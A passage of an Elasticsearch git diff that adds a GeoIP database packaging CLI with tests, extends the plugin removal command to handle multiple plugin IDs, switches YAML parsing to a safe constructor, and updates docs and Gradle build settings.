project(":test:framework") +} diff --git a/distribution/tools/geoip-cli/src/main/java/org/elasticsearch/geoip/GeoIpCli.java b/distribution/tools/geoip-cli/src/main/java/org/elasticsearch/geoip/GeoIpCli.java new file mode 100644 index 0000000000000..d04e9baf0fb81 --- /dev/null +++ b/distribution/tools/geoip-cli/src/main/java/org/elasticsearch/geoip/GeoIpCli.java @@ -0,0 +1,160 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.geoip; + +import joptsimple.OptionSet; +import joptsimple.OptionSpec; +import org.elasticsearch.cli.Command; +import org.elasticsearch.cli.Terminal; +import org.elasticsearch.common.SuppressForbidden; +import org.elasticsearch.common.hash.MessageDigests; +import org.elasticsearch.common.io.PathUtils; +import org.elasticsearch.common.xcontent.XContentGenerator; +import org.elasticsearch.common.xcontent.XContentType; + +import java.io.BufferedInputStream; +import java.io.BufferedOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.OutputStream; +import java.nio.charset.StandardCharsets; +import java.nio.file.Files; +import java.nio.file.Path; +import java.nio.file.StandardCopyOption; +import java.security.DigestInputStream; +import java.security.MessageDigest; +import java.util.Arrays; +import java.util.Locale; +import java.util.stream.Collectors; +import java.util.stream.Stream; +import java.util.zip.GZIPOutputStream; + +import static java.nio.file.StandardOpenOption.CREATE; +import static java.nio.file.StandardOpenOption.TRUNCATE_EXISTING; + +public class GeoIpCli extends Command { + + private static final byte[] EMPTY_BUF = new byte[512]; + + private final OptionSpec sourceDirectory; + private final OptionSpec targetDirectory; + + public GeoIpCli() { + super("A CLI tool to prepare local GeoIp database service", () -> {}); + sourceDirectory = parser.acceptsAll(Arrays.asList("s", "source"), "Source directory").withRequiredArg().required(); + targetDirectory = parser.acceptsAll(Arrays.asList("t", "target"), "Target directory").withRequiredArg(); + + } + + @Override + protected void execute(Terminal terminal, OptionSet options) throws Exception { + Path source = getPath(options.valueOf(sourceDirectory)); + String targetString = options.valueOf(targetDirectory); + Path target = targetString != null ? getPath(targetString) : source; + copyTgzToTarget(source, target); + packDatabasesToTgz(terminal, source, target); + createOverviewJson(terminal, target); + } + + @SuppressForbidden(reason = "file arg for cli") + private Path getPath(String file) { + return PathUtils.get(file); + } + + private void copyTgzToTarget(Path source, Path target) throws IOException { + if (source.equals(target)) { + return; + } + try (Stream files = Files.list(source)) { + for (Path path : files.filter(p -> p.getFileName().toString().endsWith(".tgz")).collect(Collectors.toList())) { + Files.copy(path, target.resolve(path.getFileName()), StandardCopyOption.REPLACE_EXISTING); + } + } + } + + private void packDatabasesToTgz(Terminal terminal, Path source, Path target) throws IOException { + try (Stream files = Files.list(source)) { + for (Path path : files.filter(p -> p.getFileName().toString().endsWith(".mmdb")).collect(Collectors.toList())) { + String fileName = path.getFileName().toString(); + Path compressedPath = target.resolve(fileName.replaceAll("mmdb$", "") + "tgz"); + terminal.println("Found " + fileName + ", will compress it to " + compressedPath.getFileName()); + try ( + OutputStream fos = Files.newOutputStream(compressedPath, TRUNCATE_EXISTING, CREATE); + OutputStream gos = new GZIPOutputStream(new BufferedOutputStream(fos)) + ) { + long size = Files.size(path); + gos.write(createTarHeader(fileName, size)); + Files.copy(path, gos); + if (size % 512 != 0) { + gos.write(EMPTY_BUF, 0, (int) (512 - (size % 512))); + } + gos.write(EMPTY_BUF); + gos.write(EMPTY_BUF); + } + } + } + } + + private void createOverviewJson(Terminal terminal, Path directory) throws IOException { + Path overview = directory.resolve("overview.json"); + try ( + Stream files = Files.list(directory); + OutputStream os = new BufferedOutputStream(Files.newOutputStream(overview, TRUNCATE_EXISTING, CREATE)); + XContentGenerator generator = XContentType.JSON.xContent().createGenerator(os) + ) { + generator.writeStartArray(); + for (Path db : files.filter(p -> p.getFileName().toString().endsWith(".tgz")).collect(Collectors.toList())) { + terminal.println("Adding " + db.getFileName() + " to overview.json"); + MessageDigest md5 = MessageDigests.md5(); + try (InputStream dis = new DigestInputStream(new BufferedInputStream(Files.newInputStream(db)), md5)) { + dis.transferTo(OutputStream.nullOutputStream()); + } + String digest = MessageDigests.toHexString(md5.digest()); + generator.writeStartObject(); + String fileName = db.getFileName().toString(); + generator.writeStringField("name", fileName); + generator.writeStringField("md5_hash", digest); + generator.writeStringField("url", fileName); + generator.writeNumberField("updated", System.currentTimeMillis()); + generator.writeEndObject(); + } + generator.writeEndArray(); + } + terminal.println("overview.json created"); + } + + private byte[] createTarHeader(String name, long size) { + byte[] buf = new byte[512]; + byte[] sizeBytes = String.format(Locale.ROOT, "%1$012o", size).getBytes(StandardCharsets.UTF_8); + byte[] nameBytes = name.substring(Math.max(0, name.length() - 100)).getBytes(StandardCharsets.US_ASCII); + byte[] id = "0001750".getBytes(StandardCharsets.UTF_8); + byte[] permission = "000644 ".getBytes(StandardCharsets.UTF_8); + byte[] time = String.format(Locale.ROOT, "%1$012o", System.currentTimeMillis() / 1000).getBytes(StandardCharsets.UTF_8); + System.arraycopy(nameBytes, 0, buf, 0, nameBytes.length); + System.arraycopy(permission, 0, buf, 100, 7); + System.arraycopy(id, 0, buf, 108, 7); + System.arraycopy(id, 0, buf, 116, 7); + System.arraycopy(sizeBytes, 0, buf, 124, 12); + System.arraycopy(time, 0, buf, 136, 12); + + int checksum = 256; + for (byte b : buf) { + checksum += b & 0xFF; + } + + byte[] checksumBytes = String.format(Locale.ROOT, "%1$07o", checksum).getBytes(StandardCharsets.UTF_8); + System.arraycopy(checksumBytes, 0, buf, 148, 7); + + return buf; + } + + public static void main(String[] args) throws Exception { + exit(new GeoIpCli().main(args, Terminal.DEFAULT)); + } +} diff --git a/distribution/tools/geoip-cli/src/test/java/org/elasticsearch/geoip/GeoIpCliTests.java b/distribution/tools/geoip-cli/src/test/java/org/elasticsearch/geoip/GeoIpCliTests.java new file mode 100644 index 0000000000000..29b824561b529 --- /dev/null +++ b/distribution/tools/geoip-cli/src/test/java/org/elasticsearch/geoip/GeoIpCliTests.java @@ -0,0 +1,150 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.geoip; + +import org.apache.commons.compress.archivers.tar.TarArchiveEntry; +import org.apache.commons.compress.archivers.tar.TarArchiveInputStream; +import org.apache.lucene.util.LuceneTestCase; +import org.elasticsearch.cli.MockTerminal; +import org.elasticsearch.common.xcontent.DeprecationHandler; +import org.elasticsearch.common.xcontent.NamedXContentRegistry; +import org.elasticsearch.common.xcontent.XContentParser; +import org.elasticsearch.common.xcontent.XContentType; + +import java.io.BufferedInputStream; +import java.io.IOException; +import java.nio.file.Files; +import java.nio.file.Path; +import java.util.Arrays; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.stream.Collectors; +import java.util.stream.Stream; +import java.util.zip.GZIPInputStream; + +import static org.hamcrest.Matchers.containsInAnyOrder; +import static org.hamcrest.Matchers.containsString; +import static org.hamcrest.Matchers.hasEntry; +import static org.hamcrest.Matchers.hasKey; + +@LuceneTestCase.SuppressFileSystems(value = "ExtrasFS") // Don't randomly add 'extra' files to directory. +public class GeoIpCliTests extends LuceneTestCase { + + private Path source; + private Path target; + + public void setUp() throws Exception { + super.setUp(); + source = createTempDir(); + target = createTempDir(); + } + + public void testNoSource() throws Exception { + MockTerminal terminal = new MockTerminal(); + new GeoIpCli().main(new String[] {}, terminal); + assertThat(terminal.getErrorOutput(), containsString("Missing required option(s) [s/source]")); + } + + public void testDifferentDirectories() throws Exception { + Map data = createTestFiles(source); + + GeoIpCli cli = new GeoIpCli(); + cli.main(new String[] { "-t", target.toAbsolutePath().toString(), "-s", source.toAbsolutePath().toString() }, new MockTerminal()); + + try (Stream list = Files.list(source)) { + List files = list.map(p -> p.getFileName().toString()).collect(Collectors.toList()); + assertThat(files, containsInAnyOrder("a.mmdb", "b.mmdb", "c.tgz")); + } + + try (Stream list = Files.list(target)) { + List files = list.map(p -> p.getFileName().toString()).collect(Collectors.toList()); + assertThat(files, containsInAnyOrder("a.tgz", "b.tgz", "c.tgz", "overview.json")); + } + + verifyTarball(data); + verifyOverview(); + } + + public void testSameDirectory() throws Exception { + Map data = createTestFiles(target); + + GeoIpCli cli = new GeoIpCli(); + cli.main(new String[] { "-s", target.toAbsolutePath().toString() }, new MockTerminal()); + + try (Stream list = Files.list(target)) { + List files = list.map(p -> p.getFileName().toString()).collect(Collectors.toList()); + assertThat(files, containsInAnyOrder("a.mmdb", "b.mmdb", "a.tgz", "b.tgz", "c.tgz", "overview.json")); + } + + Files.delete(target.resolve("a.mmdb")); + Files.delete(target.resolve("b.mmdb")); + + verifyTarball(data); + verifyOverview(); + } + + private void verifyOverview() throws Exception { + byte[] data = Files.readAllBytes(target.resolve("overview.json")); + try ( + XContentParser parser = XContentType.JSON.xContent() + .createParser(NamedXContentRegistry.EMPTY, DeprecationHandler.THROW_UNSUPPORTED_OPERATION, data) + ) { + @SuppressWarnings({ "unchecked" }) + List> list = (List) parser.list(); + assertThat(list, containsInAnyOrder(hasEntry("name", "a.tgz"), hasEntry("name", "b.tgz"), hasEntry("name", "c.tgz"))); + assertThat(list, containsInAnyOrder(hasEntry("url", "a.tgz"), hasEntry("url", "b.tgz"), hasEntry("url", "c.tgz"))); + for (Map map : list) { + assertThat(map, hasKey("md5_hash")); + assertThat(map, hasKey("updated")); + } + } + } + + private void verifyTarball(Map data) throws Exception { + for (String tgz : List.of("a.tgz", "b.tgz")) { + try ( + TarArchiveInputStream tis = new TarArchiveInputStream( + new GZIPInputStream(new BufferedInputStream(Files.newInputStream(target.resolve(tgz)))) + ) + ) { + TarArchiveEntry entry = tis.getNextTarEntry(); + assertNotNull(entry); + assertTrue(entry.isFile()); + byte[] bytes = data.get(tgz); + assertEquals(tgz.replace(".tgz", ".mmdb"), entry.getName()); + assertEquals(bytes.length, entry.getSize()); + assertArrayEquals(bytes, tis.readAllBytes()); + assertEquals(1000, entry.getLongUserId()); + assertEquals(1000, entry.getLongGroupId()); + assertEquals(420, entry.getMode()); // 644oct=420dec + + assertNull(tis.getNextTarEntry()); + } + } + } + + private Map createTestFiles(Path dir) throws IOException { + Map data = new HashMap<>(); + + byte[] a = new byte[514]; + Arrays.fill(a, (byte) 'a'); + Files.write(dir.resolve("a.mmdb"), a); + data.put("a.tgz", a); + + byte[] b = new byte[100]; + Arrays.fill(b, (byte) 'b'); + Files.write(dir.resolve("b.mmdb"), b); + data.put("b.tgz", b); + + Files.createFile(dir.resolve("c.tgz")); + + return data; + } +} diff --git a/distribution/tools/launchers/build.gradle b/distribution/tools/launchers/build.gradle index 5cf02f3ae0a71..b64e0679d81db 100644 --- a/distribution/tools/launchers/build.gradle +++ b/distribution/tools/launchers/build.gradle @@ -20,7 +20,7 @@ dependencies { archivesBaseName = 'elasticsearch-launchers' tasks.withType(CheckForbiddenApis).configureEach { - replaceSignatureFiles 'jdk-signatures' + replaceSignatureFiles 'jdk-signatures', 'snakeyaml-signatures' } tasks.named("testingConventions").configure { diff --git a/distribution/tools/launchers/src/main/java/org/elasticsearch/tools/launchers/MachineDependentHeap.java b/distribution/tools/launchers/src/main/java/org/elasticsearch/tools/launchers/MachineDependentHeap.java index 59f9afd237dcd..df025de60fb50 100644 --- a/distribution/tools/launchers/src/main/java/org/elasticsearch/tools/launchers/MachineDependentHeap.java +++ b/distribution/tools/launchers/src/main/java/org/elasticsearch/tools/launchers/MachineDependentHeap.java @@ -9,6 +9,7 @@ package org.elasticsearch.tools.launchers; import org.yaml.snakeyaml.Yaml; +import org.yaml.snakeyaml.constructor.SafeConstructor; import org.yaml.snakeyaml.error.YAMLException; import java.io.IOException; @@ -101,7 +102,7 @@ static class NodeRoleParser { @SuppressWarnings("unchecked") public static MachineNodeRole parse(InputStream config) { - Yaml yaml = new Yaml(); + Yaml yaml = new Yaml(new SafeConstructor()); Map root; try { root = yaml.load(config); diff --git a/distribution/tools/launchers/src/main/java/org/elasticsearch/tools/launchers/SystemJvmOptions.java b/distribution/tools/launchers/src/main/java/org/elasticsearch/tools/launchers/SystemJvmOptions.java index 88d8d84f9610d..e6d50f9bda03a 100644 --- a/distribution/tools/launchers/src/main/java/org/elasticsearch/tools/launchers/SystemJvmOptions.java +++ b/distribution/tools/launchers/src/main/java/org/elasticsearch/tools/launchers/SystemJvmOptions.java @@ -56,7 +56,14 @@ static List systemJvmOptions() { * Due to internationalization enhancements in JDK 9 Elasticsearch need to set the provider to COMPAT otherwise time/date * parsing will break in an incompatible way for some date patterns and locales. */ - "-Djava.locale.providers=SPI,COMPAT" + "-Djava.locale.providers=SPI,COMPAT", + /* + * Temporarily suppress illegal reflective access in searchable snapshots shared cache preallocation; this is temporary while we + * explore alternatives. See org.elasticsearch.xpack.searchablesnapshots.preallocate.Preallocate. + * + * TODO: either modularlize Elasticsearch so that we can limit the opening of this module, or find an alternative + */ + "--add-opens=java.base/java.io=ALL-UNNAMED" ).stream().filter(e -> e.isEmpty() == false).collect(Collectors.toList()); } diff --git a/distribution/tools/plugin-cli/src/main/java/org/elasticsearch/plugins/RemovePluginCommand.java b/distribution/tools/plugin-cli/src/main/java/org/elasticsearch/plugins/RemovePluginCommand.java index e46575bca54c1..ac82ef39757e7 100644 --- a/distribution/tools/plugin-cli/src/main/java/org/elasticsearch/plugins/RemovePluginCommand.java +++ b/distribution/tools/plugin-cli/src/main/java/org/elasticsearch/plugins/RemovePluginCommand.java @@ -23,16 +23,19 @@ import java.nio.file.Path; import java.util.ArrayList; import java.util.Arrays; +import java.util.HashMap; import java.util.List; import java.util.Locale; +import java.util.Map; import java.util.Set; +import java.util.StringJoiner; import java.util.stream.Collectors; import java.util.stream.Stream; import static org.elasticsearch.cli.Terminal.Verbosity.VERBOSE; /** - * A command for the plugin CLI to remove a plugin from Elasticsearch. + * A command for the plugin CLI to remove plugins from Elasticsearch. */ class RemovePluginCommand extends EnvironmentAwareCommand { @@ -44,16 +47,16 @@ class RemovePluginCommand extends EnvironmentAwareCommand { private final OptionSpec arguments; RemovePluginCommand() { - super("removes a plugin from Elasticsearch"); + super("removes plugins from Elasticsearch"); this.purgeOption = parser.acceptsAll(Arrays.asList("p", "purge"), "Purge plugin configuration files"); - this.arguments = parser.nonOptions("plugin name"); + this.arguments = parser.nonOptions("plugin id"); } @Override protected void execute(final Terminal terminal, final OptionSet options, final Environment env) throws Exception { - final String pluginName = arguments.value(options); + final List pluginIds = arguments.values(options); final boolean purge = options.has(purgeOption); - execute(terminal, env, pluginName, purge); + execute(terminal, env, pluginIds, purge); } /** @@ -61,55 +64,91 @@ protected void execute(final Terminal terminal, final OptionSet options, final E * * @param terminal the terminal to use for input/output * @param env the environment for the local node - * @param pluginName the name of the plugin to remove + * @param pluginIds the IDs of the plugins to remove * @param purge if true, plugin configuration files will be removed but otherwise preserved * @throws IOException if any I/O exception occurs while performing a file operation - * @throws UserException if plugin name is null + * @throws UserException if pluginIds is null or empty * @throws UserException if plugin directory does not exist * @throws UserException if the plugin bin directory is not a directory */ - void execute(Terminal terminal, Environment env, String pluginName, boolean purge) throws IOException, UserException { - if (pluginName == null) { - throw new UserException(ExitCodes.USAGE, "plugin name is required"); + void execute(Terminal terminal, Environment env, List pluginIds, boolean purge) throws IOException, UserException { + if (pluginIds == null || pluginIds.isEmpty()) { + throw new UserException(ExitCodes.USAGE, "At least one plugin ID is required"); } - // first make sure nothing extends this plugin - List usedBy = new ArrayList<>(); + ensurePluginsNotUsedByOtherPlugins(env, pluginIds); + + for (String pluginId : pluginIds) { + checkCanRemove(env, pluginId, purge); + } + + for (String pluginId : pluginIds) { + removePlugin(env, terminal, pluginId, purge); + } + } + + private void ensurePluginsNotUsedByOtherPlugins(Environment env, List pluginIds) throws IOException, UserException { + // First make sure nothing extends this plugin + final Map> usedBy = new HashMap<>(); Set bundles = PluginsService.getPluginBundles(env.pluginsFile()); for (PluginsService.Bundle bundle : bundles) { for (String extendedPlugin : bundle.plugin.getExtendedPlugins()) { - if (extendedPlugin.equals(pluginName)) { - usedBy.add(bundle.plugin.getName()); + for (String pluginId : pluginIds) { + if (extendedPlugin.equals(pluginId)) { + usedBy.computeIfAbsent(bundle.plugin.getName(), (_key -> new ArrayList<>())).add(pluginId); + } } } } - if (usedBy.isEmpty() == false) { - throw new UserException( - PLUGIN_STILL_USED, - "plugin [" + pluginName + "] cannot be removed" + " because it is extended by other plugins: " + usedBy - ); + if (usedBy.isEmpty()) { + return; } - final Path pluginDir = env.pluginsFile().resolve(pluginName); - final Path pluginConfigDir = env.configFile().resolve(pluginName); - final Path removing = env.pluginsFile().resolve(".removing-" + pluginName); + final StringJoiner message = new StringJoiner("\n"); + message.add("Cannot remove plugins because the following are extended by other plugins:"); + usedBy.forEach((key, value) -> { + String s = "\t" + key + " used by " + value; + message.add(s); + }); + + throw new UserException(PLUGIN_STILL_USED, message.toString()); + } + + private void checkCanRemove(Environment env, String pluginId, boolean purge) throws UserException { + final Path pluginDir = env.pluginsFile().resolve(pluginId); + final Path pluginConfigDir = env.configFile().resolve(pluginId); + final Path removing = env.pluginsFile().resolve(".removing-" + pluginId); - terminal.println("-> removing [" + pluginName + "]..."); /* * If the plugin does not exist and the plugin config does not exist, fail to the user that the plugin is not found, unless there's * a marker file left from a previously failed attempt in which case we proceed to clean up the marker file. Or, if the plugin does * not exist, the plugin config does, and we are not purging, again fail to the user that the plugin is not found. */ - if ((!Files.exists(pluginDir) && !Files.exists(pluginConfigDir) && !Files.exists(removing)) - || (!Files.exists(pluginDir) && Files.exists(pluginConfigDir) && !purge)) { + if ((Files.exists(pluginDir) == false && Files.exists(pluginConfigDir) == false && Files.exists(removing) == false) + || (Files.exists(pluginDir) == false && Files.exists(pluginConfigDir) && purge == false)) { final String message = String.format( Locale.ROOT, "plugin [%s] not found; run 'elasticsearch-plugin list' to get list of installed plugins", - pluginName + pluginId ); throw new UserException(ExitCodes.CONFIG, message); } + final Path pluginBinDir = env.binFile().resolve(pluginId); + if (Files.exists(pluginBinDir)) { + if (Files.isDirectory(pluginBinDir) == false) { + throw new UserException(ExitCodes.IO_ERROR, "bin dir for " + pluginId + " is not a directory"); + } + } + } + + private void removePlugin(Environment env, Terminal terminal, String pluginId, boolean purge) throws IOException { + final Path pluginDir = env.pluginsFile().resolve(pluginId); + final Path pluginConfigDir = env.configFile().resolve(pluginId); + final Path removing = env.pluginsFile().resolve(".removing-" + pluginId); + + terminal.println("-> removing [" + pluginId + "]..."); + final List pluginPaths = new ArrayList<>(); /* @@ -123,11 +162,8 @@ void execute(Terminal terminal, Environment env, String pluginName, boolean purg terminal.println(VERBOSE, "removing [" + pluginDir + "]"); } - final Path pluginBinDir = env.binFile().resolve(pluginName); + final Path pluginBinDir = env.binFile().resolve(pluginId); if (Files.exists(pluginBinDir)) { - if (Files.isDirectory(pluginBinDir) == false) { - throw new UserException(ExitCodes.IO_ERROR, "bin dir for " + pluginName + " is not a directory"); - } try (Stream paths = Files.list(pluginBinDir)) { pluginPaths.addAll(paths.collect(Collectors.toList())); } @@ -180,7 +216,6 @@ void execute(Terminal terminal, Environment env, String pluginName, boolean purg // finally, add the marker file pluginPaths.add(removing); - IOUtils.rm(pluginPaths.toArray(new Path[pluginPaths.size()])); + IOUtils.rm(pluginPaths.toArray(new Path[0])); } - } diff --git a/distribution/tools/plugin-cli/src/test/java/org/elasticsearch/plugins/InstallPluginCommandTests.java b/distribution/tools/plugin-cli/src/test/java/org/elasticsearch/plugins/InstallPluginCommandTests.java index 0b8e0729f7f68..3c4a417da5a46 100644 --- a/distribution/tools/plugin-cli/src/test/java/org/elasticsearch/plugins/InstallPluginCommandTests.java +++ b/distribution/tools/plugin-cli/src/test/java/org/elasticsearch/plugins/InstallPluginCommandTests.java @@ -1466,7 +1466,7 @@ private void assertPolicyConfirmation(Tuple env, String plugi public void testPolicyConfirmation() throws Exception { Tuple env = createEnv(fs, temp); Path pluginDir = createPluginDir(temp); - writePluginSecurityPolicy(pluginDir, "createClassLoader", "setFactory"); + writePluginSecurityPolicy(pluginDir, "getClassLoader", "setFactory"); String pluginZip = createPluginUrl("fake", pluginDir); assertPolicyConfirmation(env, pluginZip, "plugin requires additional permissions"); diff --git a/distribution/tools/plugin-cli/src/test/java/org/elasticsearch/plugins/RemovePluginCommandTests.java b/distribution/tools/plugin-cli/src/test/java/org/elasticsearch/plugins/RemovePluginCommandTests.java index adf63797f0919..78105c3d9d16f 100644 --- a/distribution/tools/plugin-cli/src/test/java/org/elasticsearch/plugins/RemovePluginCommandTests.java +++ b/distribution/tools/plugin-cli/src/test/java/org/elasticsearch/plugins/RemovePluginCommandTests.java @@ -26,8 +26,10 @@ import java.nio.file.DirectoryStream; import java.nio.file.Files; import java.nio.file.Path; +import java.util.List; import java.util.Map; +import static java.util.Collections.emptyList; import static org.hamcrest.CoreMatchers.containsString; import static org.hamcrest.CoreMatchers.not; import static org.hamcrest.Matchers.equalTo; @@ -96,10 +98,14 @@ void createPlugin(Path path, String name, Version version) throws IOException { ); } - static MockTerminal removePlugin(String name, Path home, boolean purge) throws Exception { + static MockTerminal removePlugin(String pluginId, Path home, boolean purge) throws Exception { + return removePlugin(List.of(pluginId), home, purge); + } + + static MockTerminal removePlugin(List pluginIds, Path home, boolean purge) throws Exception { Environment env = TestEnvironment.newEnvironment(Settings.builder().put("path.home", home).build()); MockTerminal terminal = new MockTerminal(); - new MockRemovePluginCommand(env).execute(terminal, env, name, purge); + new MockRemovePluginCommand(env).execute(terminal, env, pluginIds, purge); return terminal; } @@ -130,6 +136,23 @@ public void testBasic() throws Exception { assertRemoveCleaned(env); } + /** Check that multiple plugins can be removed at the same time. */ + public void testRemoveMultiple() throws Exception { + createPlugin("fake"); + Files.createFile(env.pluginsFile().resolve("fake").resolve("plugin.jar")); + Files.createDirectory(env.pluginsFile().resolve("fake").resolve("subdir")); + + createPlugin("other"); + Files.createFile(env.pluginsFile().resolve("other").resolve("plugin.jar")); + Files.createDirectory(env.pluginsFile().resolve("other").resolve("subdir")); + + removePlugin("fake", home, randomBoolean()); + removePlugin("other", home, randomBoolean()); + assertFalse(Files.exists(env.pluginsFile().resolve("fake"))); + assertFalse(Files.exists(env.pluginsFile().resolve("other"))); + assertRemoveCleaned(env); + } + public void testRemoveOldVersion() throws Exception { Version previous = VersionUtils.getPreviousVersion(); if (previous.before(Version.CURRENT.minimumIndexCompatibilityVersion())) { @@ -236,7 +259,6 @@ protected boolean addShutdownHook() { BufferedReader reader = new BufferedReader(new StringReader(terminal.getOutput())); BufferedReader errorReader = new BufferedReader(new StringReader(terminal.getErrorOutput())) ) { - assertEquals("-> removing [fake]...", reader.readLine()); assertEquals( "ERROR: plugin [fake] not found; run 'elasticsearch-plugin list' to get list of installed plugins", errorReader.readLine() @@ -246,10 +268,14 @@ protected boolean addShutdownHook() { } } - public void testMissingPluginName() throws Exception { - UserException e = expectThrows(UserException.class, () -> removePlugin(null, home, randomBoolean())); + public void testMissingPluginName() { + UserException e = expectThrows(UserException.class, () -> removePlugin((List) null, home, randomBoolean())); + assertEquals(ExitCodes.USAGE, e.exitCode); + assertEquals("At least one plugin ID is required", e.getMessage()); + + e = expectThrows(UserException.class, () -> removePlugin(emptyList(), home, randomBoolean())); assertEquals(ExitCodes.USAGE, e.exitCode); - assertEquals("plugin name is required", e.getMessage()); + assertEquals("At least one plugin ID is required", e.getMessage()); } public void testRemoveWhenRemovingMarker() throws Exception { diff --git a/docs/README.asciidoc b/docs/README.asciidoc index b17cd778b96c5..5688bd7fbb74f 100644 --- a/docs/README.asciidoc +++ b/docs/README.asciidoc @@ -43,7 +43,12 @@ You don't have to do that. Docs follow the same policy as code and fixes are not ordinarily merged to versions that are out of maintenance. -* Do not backport doc changes to https://www.elastic.co/support/eol[EOL versions]. +* Do not backport doc changes to https://www.elastic.co/support/eol[EOL versions]. + +* Release notes for known issues are an exception to this policy. Document the + known issue in the release notes for any minor version affected by the issue. + Backport the changes to any branch containing release notes for those + versions, even if the branch is no longer maintained. === Snippet testing @@ -79,9 +84,13 @@ used for its modifiers: considered tests anyway but this is useful for explicitly documenting the reason why the test shouldn't be run. * `// TEST[setup:name]`: Run some setup code before running the snippet. This - is useful for creating and populating indexes used in the snippet. The setup - code is defined in `docs/build.gradle`. See `// TESTSETUP` below for a - similar feature. + is useful for creating and populating indexes used in the snippet. The `name` + is split on `,` and looked up in the `setups` defined in `docs/build.gradle`. + See `// TESTSETUP` below for a similar feature. + * `// TEST[teardown:name]`: Run some teardown code after the snippet. + This is useful for performing hidden cleanup, such as deleting index templates. The + `name` is split on `,` and looked up in the `teardowns` defined in + `docs/build.gradle`. See `// TESTSETUP` below for a similar feature. * `// TEST[warning:some warning]`: Expect the response to include a `Warning` header. If the response doesn't include a `Warning` header with the exact text then the test fails. If the response includes `Warning` headers that diff --git a/docs/Versions.asciidoc b/docs/Versions.asciidoc index 710293b4d172b..21d9604113d07 100644 --- a/docs/Versions.asciidoc +++ b/docs/Versions.asciidoc @@ -1,8 +1,8 @@ include::{docs-root}/shared/versions/stack/{source_branch}.asciidoc[] -:lucene_version: 8.8.0 -:lucene_version_path: 8_8_0 +:lucene_version: 8.9.0 +:lucene_version_path: 8_9_0 :jdk: 11.0.2 :jdk_major: 11 :build_flavor: default @@ -15,7 +15,8 @@ include::{docs-root}/shared/versions/stack/{source_branch}.asciidoc[] /////// Javadoc roots used to generate links from Painless's API reference /////// -:java11-javadoc: https://docs.oracle.com/en/java/javase/11/docs/api +:javadoc: https://docs.oracle.com/en/java/javase/{jdk_major}/docs/api +:java11-javadoc: https://docs.oracle.com/en/java/javase/11/docs/api :lucene-core-javadoc: https://lucene.apache.org/core/{lucene_version_path}/core ifeval::["{release-state}"=="unreleased"] diff --git a/docs/build.gradle b/docs/build.gradle index 99cf9a23d9992..eb7f2cc22ba3c 100644 --- a/docs/build.gradle +++ b/docs/build.gradle @@ -1,4 +1,4 @@ -import org.elasticsearch.gradle.info.BuildParams +import org.elasticsearch.gradle.internal.info.BuildParams import static org.elasticsearch.gradle.testclusters.TestDistribution.DEFAULT @@ -13,6 +13,25 @@ import static org.elasticsearch.gradle.testclusters.TestDistribution.DEFAULT apply plugin: 'elasticsearch.docs-test' apply plugin: 'elasticsearch.rest-resources' +ext.docsFileTree = fileTree(projectDir) { + // No snippets in here! + exclude 'build.gradle' + // That is where the snippets go, not where they come from! + exclude 'build/**' + exclude 'build-idea/**' + exclude 'build-eclipse/**' + // Just syntax examples + exclude 'README.asciidoc' + // Broken code snippet tests + exclude 'reference/graph/explore.asciidoc' + if (BuildParams.inFipsJvm) { + // We don't install/support this plugin in FIPS 140 + exclude 'plugins/ingest-attachment.asciidoc' + // We can't conditionally control output, this would be missing the ingest-attachment plugin + exclude 'reference/cat/plugins.asciidoc' + } +} + /* List of files that have snippets that will not work until platinum tests can occur ... */ tasks.named("buildRestTests").configure { expectedUnconvertedCandidates = [ @@ -35,7 +54,7 @@ tasks.named("buildRestTests").configure { restResources { restApi { - includeCore '*' + include '*' } } @@ -43,12 +62,15 @@ testClusters.matching { it.name == "integTest"}.configureEach { if (singleNode().testDistribution == DEFAULT) { setting 'xpack.license.self_generated.type', 'trial' setting 'indices.lifecycle.history_index_enabled', 'false' - systemProperty 'es.rollup_v2_feature_flag_enabled', 'true' + setting 'ingest.geoip.downloader.enabled', 'false' + systemProperty 'es.geoip_v2_feature_flag_enabled', 'true' + systemProperty 'es.shutdown_feature_flag_enabled', 'true' keystorePassword 'keystore-password' } // enable regexes in painless so our tests don't complain about example snippets that use them setting 'script.painless.regex.enabled', 'true' + setting 'xpack.security.enabled', 'false' setting 'path.repo', "${buildDir}/cluster/shared/repo" Closure configFile = { extraConfigFile it, file("src/test/cluster/config/$it") @@ -62,6 +84,8 @@ testClusters.matching { it.name == "integTest"}.configureEach { configFile 'KeywordTokenizer.rbbi' extraConfigFile 'hunspell/en_US/en_US.aff', project(":server").file('src/test/resources/indices/analyze/conf_dir/hunspell/en_US/en_US.aff') extraConfigFile 'hunspell/en_US/en_US.dic', project(":server").file('src/test/resources/indices/analyze/conf_dir/hunspell/en_US/en_US.dic') + extraConfigFile 'httpCa.p12', file("./httpCa.p12") + extraConfigFile 'transport.p12', file("./transport.p12") // Whitelist reindexing from the local node so we can test it. setting 'reindex.remote.whitelist', '127.0.0.1:*' @@ -90,25 +114,6 @@ tasks.named("integTest").configure { } } -ext.docsFileTree = fileTree(projectDir) { - // No snippets in here! - exclude 'build.gradle' - // That is where the snippets go, not where they come from! - exclude 'build' - exclude 'build-idea' - exclude 'build-eclipse' - // Just syntax examples - exclude 'README.asciidoc' - // Broken code snippet tests - exclude 'reference/graph/explore.asciidoc' - if (BuildParams.inFipsJvm) { - // We don't install/support this plugin in FIPS 140 - exclude 'plugins/ingest-attachment.asciidoc' - // We can't conditionally control output, this would be missing the ingest-attachment plugin - exclude 'reference/cat/plugins.asciidoc' - } -} - tasks.named("buildRestTests").configure { docs = docsFileTree } @@ -143,6 +148,9 @@ Closure setupMyIndex = { String name, int count -> type: keyword message: type: text + fields: + keyword: + type: keyword user: properties: id: @@ -174,6 +182,38 @@ setupMyIndex('my_index_huge', 1200) tasks.named("buildRestTests").configure {buildRestTests -> +setups['my_data_stream_template'] = ''' + - do: + indices.put_index_template: + name: my-data-stream-template + body: | + { + "index_patterns": [ "my-data-stream*" ], + "data_stream": { }, + "priority": 500 + } +''' + +setups['my_data_stream'] = setups['my_data_stream_template'] + ''' + - do: + raw: + method: PUT + 